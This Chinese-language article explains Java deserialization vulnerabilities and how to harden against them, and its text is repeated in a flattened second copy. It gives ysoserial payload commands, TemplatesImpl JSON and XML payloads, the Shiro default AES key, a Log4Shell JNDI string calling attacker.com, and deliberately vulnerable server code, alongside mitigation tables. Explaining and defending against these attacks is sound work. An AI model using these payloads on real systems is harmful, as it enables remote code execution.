反序列化不是魔法,而是漏洞:Java 反序列化攻击流程详解
字数 2769 2025-08-30 06:50:11

Java反序列化漏洞全面解析与防护指南

1. Java反序列化漏洞概述

Java反序列化漏洞是指攻击者通过精心构造的恶意序列化数据,在目标系统执行反序列化操作时触发恶意代码执行的安全漏洞。这种漏洞利用了Java的ObjectInputStream机制,能够自动还原序列化数据的对象状态。

1.1 反序列化基本流程

反序列化是将序列化字节流还原为Java对象的操作,典型示例代码如下:

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.ser"));
Object obj = ois.readObject(); // 潜在危险点:不可信数据可能触发恶意代码

1.2 漏洞核心要素

  • 可控输入:攻击者能够提供恶意的序列化数据
  • 反序列化触发:应用调用readObject()或通过易受攻击的库处理数据
  • Gadget链:在反序列化时自动触发恶意代码的类和方法链

2. 利用原理与攻击方式

2.1 Gadget链机制

Java反序列化攻击依赖于Gadget链,即在反序列化过程中触发的一系列方法调用。易受攻击的类通常包含readObject()readResolve()finalize()等方法,可被操纵执行恶意代码。

2.2 主要攻击方式

  1. 命令执行:通过Gadget链调用Runtime.getRuntime().exec()执行任意命令
  2. 远程类加载:触发JNDI查询,从攻击者控制的服务器加载恶意类
  3. 对象操纵:构造恶意对象,在反序列化时利用应用逻辑漏洞

3. 常见Java反序列化漏洞详解

3.1 Apache Commons Collections (CC) 漏洞

漏洞描述

Apache Commons Collections库(3.1-3.2.1及4.0版本)中的InvokerTransformer等类允许方法调用链构造,在反序列化时可实现RCE。

利用原理

通过InvokerTransformerChainedTransformer,结合LazyMapTiedMapEntry,构建Gadget链,最终调用Runtime.getRuntime().exec()

生成Payload (使用ysoserial)

java -jar ysoserial.jar CommonsCollections1 "calc" > payload.ser

服务端测试代码

import java.io.*;
import org.apache.commons.collections.map.LazyMap;

public class VulnerableServer {
    public static void main(String[] args) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.ser"));
        ois.readObject(); // 触发命令执行
        ois.close();
    }
}

攻击步骤

  1. 生成Payload:java -jar ysoserial.jar CommonsCollections1 "calc" > payload.ser
  2. 通过网络接口将payload.ser发送到服务端
  3. 服务端反序列化Payload,执行calc.exe

3.2 Fastjson漏洞 (版本<1.2.47)

漏洞描述

Fastjson的@type功能允许指定反序列化的类。如果autotype启用或配置不当,攻击者可加载恶意类(如TemplatesImpl)。

利用Payload (JSON)

{
    "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "bytecodes":["BASE64恶意类"],
    "name":"Exploit",
    "tfactory":{}
}

服务端测试代码

import com.alibaba.fastjson.JSON;

public class VulnerableFastjson {
    public static void main(String[] args) throws Exception {
        String json = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"bytecodes\":[\"BASE64恶意类\"],\"name\":\"Exploit\",\"tfactory\":{}}";
        JSON.parse(json); // 触发漏洞
    }
}

3.3 Jackson漏洞 (启用Default Typing)

漏洞描述

Jackson的ObjectMapper在启用enableDefaultTyping()时支持多态反序列化,攻击者可通过@class指定恶意类。

服务端测试代码

import com.fasterxml.jackson.databind.ObjectMapper;

public class VulnerableJackson {
    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping(); // 危险配置
        String json = "{\"@class\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"bytecodes\":[\"BASE64恶意类\"],\"name\":\"Exploit\",\"tfactory\":{}}";
        mapper.readValue(json, Object.class); // 触发漏洞
    }
}

3.4 XStream漏洞 (版本<1.4.15)

漏洞描述

XStream将XML数据反序列化为Java对象。如果未配置类白名单,攻击者可通过XML构造恶意对象树触发漏洞。

利用Payload (XML)

<java.util.PriorityQueue serialization='custom'>
    <unserializable-parents/>
    <java.util.PriorityQueue>
        <size>2</size>
        <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
            <name>Exploit</name>
            <bytecodes>
                <bytearray>BASE64编码的恶意类</bytearray>
            </bytecodes>
            <tfactory/>
        </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
        <string>test</string>
    </java.util.PriorityQueue>
</java.util.PriorityQueue>

3.5 Apache Shiro RememberMe漏洞

漏洞描述

Apache Shiro的rememberMe功能通过AES加密序列化用户数据。如果AES密钥已知(例如默认密钥kPH+bIxk5D2deZiIxcaaaA==),攻击者可构造恶意Payload。

利用步骤

  1. 使用ysoserial生成Payload:java -jar ysoserial.jar CommonsCollections1 "calc" > payload.bin
  2. 使用已知AES密钥加密Payload
  3. 构造请求:GET / HTTP/1.1 Host: target.com Cookie: rememberMe=BASE64编码的Payload

3.6 Log4j2 JNDI注入 (CVE-2021-44228, Log4Shell)

漏洞描述

Log4j2(版本<2.16.0)在解析日志消息时会处理${jndi:}表达式,允许攻击者通过JNDI触发远程类加载。

利用Payload

${jndi:ldap://attacker.com/Exploit}

服务端测试代码

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class VulnerableLog4j {
    private static final Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        String userInput = "${jndi:ldap://attacker.com/Exploit}";
        logger.info(userInput); // 触发JNDI查询
    }
}

4. 检测与测试工具

  1. Ysoserial:生成多种Gadget链Payload
  2. Ysomap:统一的反序列化利用工具
  3. Shiro_attack:测试Shiro RememberMe漏洞
  4. Log4jscan:扫描Log4Shell漏洞
  5. Fastjson-blacklist-checker:检测Fastjson漏洞

5. 防护与加固措施

5.1 通用防护实践

  1. 避免反序列化不可信数据
  2. 使用类白名单限制可反序列化的类
  3. 保持依赖项和JDK的更新
  4. 应用安全补丁

5.2 具体防护措施

库/组件 防护措施
Commons Collections 升级到3.2.2+或4.1+;使用ObjectInputFilter限制类
Fastjson 禁用autotype;使用ParserConfig.getGlobalInstance().addAccept()设置白名单
Jackson 禁用enableDefaultTyping();为ObjectMapper配置类白名单
XStream 使用xstream.allowTypes()限制可反序列化的类
Apache Shiro 更换默认AES密钥;禁用rememberMe或使用签名机制
Log4j2 升级到≥2.16.0;设置log4j2.formatMsgNoLookups=true;禁用JNDI
Spring Framework 升级到≥5.3.18;限制数据绑定参数
Java RMI 限制RMI仅限可信主机;应用JDK补丁(例如8u121+)

5.3 安全反序列化示例代码

import java.io.*;

public class SafeDeserialization {
    public static void main(String[] args) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.ser"));
        ois.setObjectInputFilter(filter -> {
            Class<?> clazz = filter.getType();
            if (clazz != null && MySafeClass.class.equals(clazz)) {
                return ObjectInputFilter.Status.ALLOWED;
            }
            return ObjectInputFilter.Status.REJECTED;
        });
        Object obj = ois.readObject();
        ois.close();
    }
}

6. 总结

Java反序列化漏洞是一类高危安全问题,攻击者通过控制序列化数据并利用Gadget链,可在反序列化时执行任意代码。防护的核心要点包括:

  1. 在反序列化前验证和过滤所有输入数据
  2. 使用类白名单,避免使用危险方法如readObject()
  3. 保持依赖项和JDK的更新
  4. 使用ysoserial和Ysomap等工具测试应用漏洞

通过遵循这些指南,可以显著降低Java应用中反序列化攻击的风险。

Java反序列化漏洞全面解析与防护指南 1. Java反序列化漏洞概述 Java反序列化漏洞是指攻击者通过精心构造的恶意序列化数据,在目标系统执行反序列化操作时触发恶意代码执行的安全漏洞。这种漏洞利用了Java的 ObjectInputStream 机制,能够自动还原序列化数据的对象状态。 1.1 反序列化基本流程 反序列化是将序列化字节流还原为Java对象的操作,典型示例代码如下: 1.2 漏洞核心要素 可控输入 :攻击者能够提供恶意的序列化数据 反序列化触发 :应用调用 readObject() 或通过易受攻击的库处理数据 Gadget链 :在反序列化时自动触发恶意代码的类和方法链 2. 利用原理与攻击方式 2.1 Gadget链机制 Java反序列化攻击依赖于Gadget链,即在反序列化过程中触发的一系列方法调用。易受攻击的类通常包含 readObject() 、 readResolve() 或 finalize() 等方法,可被操纵执行恶意代码。 2.2 主要攻击方式 命令执行 :通过Gadget链调用 Runtime.getRuntime().exec() 执行任意命令 远程类加载 :触发JNDI查询,从攻击者控制的服务器加载恶意类 对象操纵 :构造恶意对象,在反序列化时利用应用逻辑漏洞 3. 常见Java反序列化漏洞详解 3.1 Apache Commons Collections (CC) 漏洞 漏洞描述 Apache Commons Collections库(3.1-3.2.1及4.0版本)中的 InvokerTransformer 等类允许方法调用链构造,在反序列化时可实现RCE。 利用原理 通过 InvokerTransformer 和 ChainedTransformer ,结合 LazyMap 或 TiedMapEntry ,构建Gadget链,最终调用 Runtime.getRuntime().exec() 。 生成Payload (使用ysoserial) 服务端测试代码 攻击步骤 生成Payload: java -jar ysoserial.jar CommonsCollections1 "calc" > payload.ser 通过网络接口将payload.ser发送到服务端 服务端反序列化Payload,执行calc.exe 3.2 Fastjson漏洞 (版本 <1.2.47) 漏洞描述 Fastjson的 @type 功能允许指定反序列化的类。如果autotype启用或配置不当,攻击者可加载恶意类(如 TemplatesImpl )。 利用Payload (JSON) 服务端测试代码 3.3 Jackson漏洞 (启用Default Typing) 漏洞描述 Jackson的 ObjectMapper 在启用 enableDefaultTyping() 时支持多态反序列化,攻击者可通过 @class 指定恶意类。 服务端测试代码 3.4 XStream漏洞 (版本 <1.4.15) 漏洞描述 XStream将XML数据反序列化为Java对象。如果未配置类白名单,攻击者可通过XML构造恶意对象树触发漏洞。 利用Payload (XML) 3.5 Apache Shiro RememberMe漏洞 漏洞描述 Apache Shiro的 rememberMe 功能通过AES加密序列化用户数据。如果AES密钥已知(例如默认密钥 kPH+bIxk5D2deZiIxcaaaA== ),攻击者可构造恶意Payload。 利用步骤 使用ysoserial生成Payload: java -jar ysoserial.jar CommonsCollections1 "calc" > payload.bin 使用已知AES密钥加密Payload 构造请求: GET / HTTP/1.1 Host: target.com Cookie: rememberMe=BASE64编码的Payload 3.6 Log4j2 JNDI注入 (CVE-2021-44228, Log4Shell) 漏洞描述 Log4j2(版本<2.16.0)在解析日志消息时会处理 ${jndi:} 表达式,允许攻击者通过JNDI触发远程类加载。 利用Payload 服务端测试代码 4. 检测与测试工具 Ysoserial :生成多种Gadget链Payload Ysomap :统一的反序列化利用工具 Shiro_ attack :测试Shiro RememberMe漏洞 Log4jscan :扫描Log4Shell漏洞 Fastjson-blacklist-checker :检测Fastjson漏洞 5. 防护与加固措施 5.1 通用防护实践 避免反序列化不可信数据 使用类白名单限制可反序列化的类 保持依赖项和JDK的更新 应用安全补丁 5.2 具体防护措施 | 库/组件 | 防护措施 | |---------|---------| | Commons Collections | 升级到3.2.2+或4.1+;使用 ObjectInputFilter 限制类 | | Fastjson | 禁用autotype;使用 ParserConfig.getGlobalInstance().addAccept() 设置白名单 | | Jackson | 禁用 enableDefaultTyping() ;为 ObjectMapper 配置类白名单 | | XStream | 使用 xstream.allowTypes() 限制可反序列化的类 | | Apache Shiro | 更换默认AES密钥;禁用 rememberMe 或使用签名机制 | | Log4j2 | 升级到≥2.16.0;设置 log4j2.formatMsgNoLookups=true ;禁用JNDI | | Spring Framework | 升级到≥5.3.18;限制数据绑定参数 | | Java RMI | 限制RMI仅限可信主机;应用JDK补丁(例如8u121+) | 5.3 安全反序列化示例代码 6. 总结 Java反序列化漏洞是一类高危安全问题,攻击者通过控制序列化数据并利用Gadget链,可在反序列化时执行任意代码。防护的核心要点包括: 在反序列化前验证和过滤所有输入数据 使用类白名单,避免使用危险方法如 readObject() 保持依赖项和JDK的更新 使用ysoserial和Ysomap等工具测试应用漏洞 通过遵循这些指南,可以显著降低Java应用中反序列化攻击的风险。